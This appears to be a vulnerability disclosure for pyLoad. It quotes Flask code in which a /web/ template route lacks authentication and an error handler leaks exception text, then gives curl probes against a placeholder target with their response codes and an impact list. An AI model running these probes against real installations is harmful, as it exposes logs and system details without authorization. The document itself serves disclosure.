pyLoad CVE-2026-75597

@bp.route("/web/<path:filename>", endpoint="web")
def render(filename):
# ← no @login_required
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

@bp.route("/logs", ...)
@login_required("LIST")
# protected

@bp.route("/settings", ...)
@login_required("SETTINGS")
# protected

@bp.route("/files", ...)
@login_required("DOWNLOAD")
# protected

def handle_exception_error(exc):
    try:
        code = exc.code
        desc = exc.desc
# BUG: attribute does not exist on standard exceptions
    except AttributeError:
# always raised - falls here for every exception
        code = 500
        desc = exc
# raw exception object assigned to desc
    message = f"Error {code}: {desc}"
# str(exc) embedded in response body
    return render_template("error.html", messages=[message]), code

curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

html

<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```

Test 3 - Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)

curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/collector.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/filemanager.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/nonexistent_xyz.html
200  ← logs.html        (exists, renders without auth)
200  ← info.html        (exists, renders without auth)
200  ← dashboard.html   (exists, renders without auth)
500  ← settings.html    (exists, missing auth context - leaks 'conf' is undefined)
500  ← queue.html       (exists, missing auth context)
500  ← collector.html   (exists, missing auth context)
500  ← filemanager.html (exists, missing auth context)
500  ← nonexistent_xyz  (does not exist - same 500, no differentiation on miss)```

###Impact
An unauthenticated remote attacker can:

Render application page templates without any credentials, bypassing the access control model enforced on all direct routes
Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port - values are populated via JS but field labels confirm application structure
Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication
Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.)
Enumerate all valid template filenames by observing 200 vs 500 response codes

The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.